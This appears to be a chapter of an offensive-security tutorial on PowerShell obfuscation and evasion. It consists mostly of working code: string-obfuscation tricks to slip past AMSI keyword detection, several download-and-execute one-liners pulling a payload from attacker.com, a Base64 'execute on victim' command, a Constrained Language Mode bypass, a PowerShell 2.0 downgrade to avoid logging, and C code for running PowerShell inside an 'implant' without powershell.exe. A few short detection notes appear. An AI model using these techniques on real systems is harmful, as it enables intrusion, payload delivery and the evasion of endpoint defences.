PowerShell Obfuscation and Invocation

PowerShell Obfuscation Techniques

# ── String obfuscation techniques ────────────────────────────────────

# Original (detected by AMSI keyword "Invoke-Expression" / "IEX"):
IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')

# Technique 1: Concatenation at runtime (avoids static string signatures)
$a = 'Inv'; $b = 'oke-Expr'; $c = 'ession'
& ($a + $b + $c) ((New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1'))

# Technique 2: [char] casting (converts integer to character)
# 'Invoke-Expression' as char codes:
$cmd = [char]73+[char]110+[char]118+[char]111+[char]107+[char]101+'-'+[char]69+[char]120+[char]112+[char]114+[char]101+[char]115+[char]115+[char]105+[char]111+[char]110
& $cmd "Write-Host 'hello'"

# Technique 3: Base64 encoded command (for -EncodedCommand flag)
# Generate (on attacker machine):
$payload = 'Write-Host "pwned"'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
# Output: VwByAGkAdABlAC0ASABvAHMAdAAgACIAcAB3AG4AZQBkACIA
# Execute on victim:
powershell.exe -EncodedCommand VwByAGkAdABlAC0ASABvAHMAdAAgACIAcAB3AG4AZQBkACIA

# Technique 4: Format string substitution
$f = "{0}{1}" -f "IEX","";
# Combine with variable content to build the command dynamically

# Technique 5: Backtick (escape character in PS — acts as NOP between chars)
I`E`X(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
# PS treats ` as escape sequence — `E is just E, `X is just X
# Result: "IEX" — same command, different bytes

# Technique 6: Case randomization (PS is case-insensitive)
iEx((New-oBjEcT NeT.wEbClIeNt).doWnLoAdStRiNg('http://attacker.com/payload.ps1'))
# Looks very different from the standard form, evades simple keyword matching

# ── Invoke-Obfuscation examples ────────────────────────────────────────
# Invoke-Obfuscation (by Daniel Bohannon) generates:
# TOKEN    obfuscation (string/variable/whitespace token manipulation)
# STRING   obfuscation (multiple string encoding levels)
# ENCODING obfuscation (SecureString, [char[]], ASCII)
# LAUNCHER obfuscation (alternative PS launch methods)
# COMPRESS obfuscation (compress+base64+decompress at runtime)

# Example: Invoke-Obfuscation COMPRESS output (heavily obfuscated):
& (($PsHOmE[4]+$PSHoMe[30]+'x')) (NEw-oBJEct iO.cOmPRessIoN.dEFLatEsTrEam(
  [iO.MemORyStReam][ConvERT]::FRomBaSe64StrINg('7b0Hbttg...'),
  [IO.COMPRESSION.COMPRESSIONMODE]::dEcOMpReSS) | ForEACH{
    [char] $_ })-JoIN ''

# Detection note: AMSI in PS 5.1+ decodes this BEFORE scanning.
# All obfuscation eventually collapses to the plaintext command,
# which AMSI sees post-deobfuscation via the script block logging hook.
# AMSI bypass (Ch45) must come BEFORE any PS obfuscation matters.

Alternative PowerShell Invocation Methods

# ── Constrained Language Mode bypass via runspace ─────────────────────
# In CLM, many .NET types are restricted. But you can create a new runspace
# with FullLanguage mode from within CLM:

Add-Type -TypeDefinition @"
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
public class PSBypass {
    public static string RunFL(string cmd) {
        InitialSessionState iss = InitialSessionState.CreateDefault();
        iss.LanguageMode = PSLanguageMode.FullLanguage;
        using (Runspace rs = RunspaceFactory.CreateRunspace(iss)) {
            rs.Open();
            using (PowerShell ps = PowerShell.Create()) {
                ps.Runspace = rs;
                ps.AddScript(cmd);
                var results = ps.Invoke();
                return String.Join("\n", results);
            }
        }
    }
}
"@
[PSBypass]::RunFL("Get-Process")

# ── PowerShell via .NET reflection (avoids powershell.exe entirely) ────
# Load System.Management.Automation.dll directly from .NET
$assembly = [Reflection.Assembly]::LoadWithPartialName('System.Management.Automation')
$AutomationType = $assembly.GetType('System.Management.Automation.Automation')
$PowerShellType  = $assembly.GetType('System.Management.Automation.PowerShell')
$ps = $PowerShellType::Create()
$null = $ps.AddScript("Write-Output 'running via reflection'")
$ps.Invoke()

# ── PSv2 downgrade attack (no ScriptBlock logging, no AMSI) ───────────
# PowerShell 2.0 has none of the modern security features.
# It's deprecated but still present on older Windows installations.
# Can be invoked explicitly to bypass logging:
powershell.exe -Version 2 -Command "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/p.ps1')"
# Detection: PS2 invocation is very unusual in enterprise environments.
# Many orgs disable PS2 via DISM or Feature removal.
# Check: Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

# ── Run PS command from within a C program (no powershell.exe on disk) ─
# The System.Management.Automation.dll can be loaded in any .NET process.
# Your C implant loads SMA.dll, creates a PS runspace, runs commands.
# Process tree: your_implant.exe (no powershell.exe child anywhere)
# See the .NET embedding approach in the next section.

Running PowerShell Without powershell.exe

/* ps_without_exe.c — Execute PowerShell code from within a C program
   without ever spawning powershell.exe
   
   Approach: Load System.Management.Automation.dll via CLR hosting.
   The CLR (.NET runtime) can be loaded into any native process.
   PowerShell code then runs inside your process — no visible PS child process.
   
   Build: requires coreclrhost.h or ICLRRuntimeHost COM interface.
*/

#include <windows.h>
#include <mscoree.h>  /* ICLRMetaHost, ICLRRuntimeHost2 */
#include <stdio.h>
#pragma comment(lib, "mscoree.lib")

typedef HRESULT (WINAPI *CLRCreateInstanceFn)(REFCLSID, REFIID, LPVOID*);

BOOL run_ps_in_process(const wchar_t *ps_command) {
    /*
     * CLR hosting steps:
     * 1. CLRCreateInstance → ICLRMetaHost
     * 2. ICLRMetaHost.GetRuntime(L"v4.0") → ICLRRuntimeInfo
     * 3. ICLRRuntimeInfo.GetInterface(IID_ICLRRuntimeHost2) → ICLRRuntimeHost2
     * 4. ICLRRuntimeHost2.Start()
     * 5. ICLRRuntimeHost2.ExecuteInDefaultAppDomain(
     *      SMA.dll path,
     *      "System.Management.Automation.PowerShell",
     *      "Create",
     *      ps_command,
     *      &return_val
     *    )
     *
     * More practical: use the AppDomain.ExecuteAssembly approach with
     * a small .NET launcher DLL that takes the PS command as argument.
     */

    HMODULE hMsCoree = LoadLibraryA("mscoree.dll");
    CLRCreateInstanceFn pCLRCreateInstance =
        (CLRCreateInstanceFn)GetProcAddress(hMsCoree, "CLRCreateInstance");
    
    /* (Full CLR hosting implementation is 80+ lines — shown abbreviated) */
    /* Key result: PS code runs inside the calling process.
       powershell.exe never appears in the process list.
       Sysmon records: your_process.exe loaded mscoree.dll and sma.dll
       — still visible, but less alarming than "cmd.exe spawned powershell.exe" */
    
    printf("[+] CLR hosting: PS command would run inside %s\n",
           "your_implant.exe (no powershell.exe child)");
    return TRUE;
}

Questions & Answers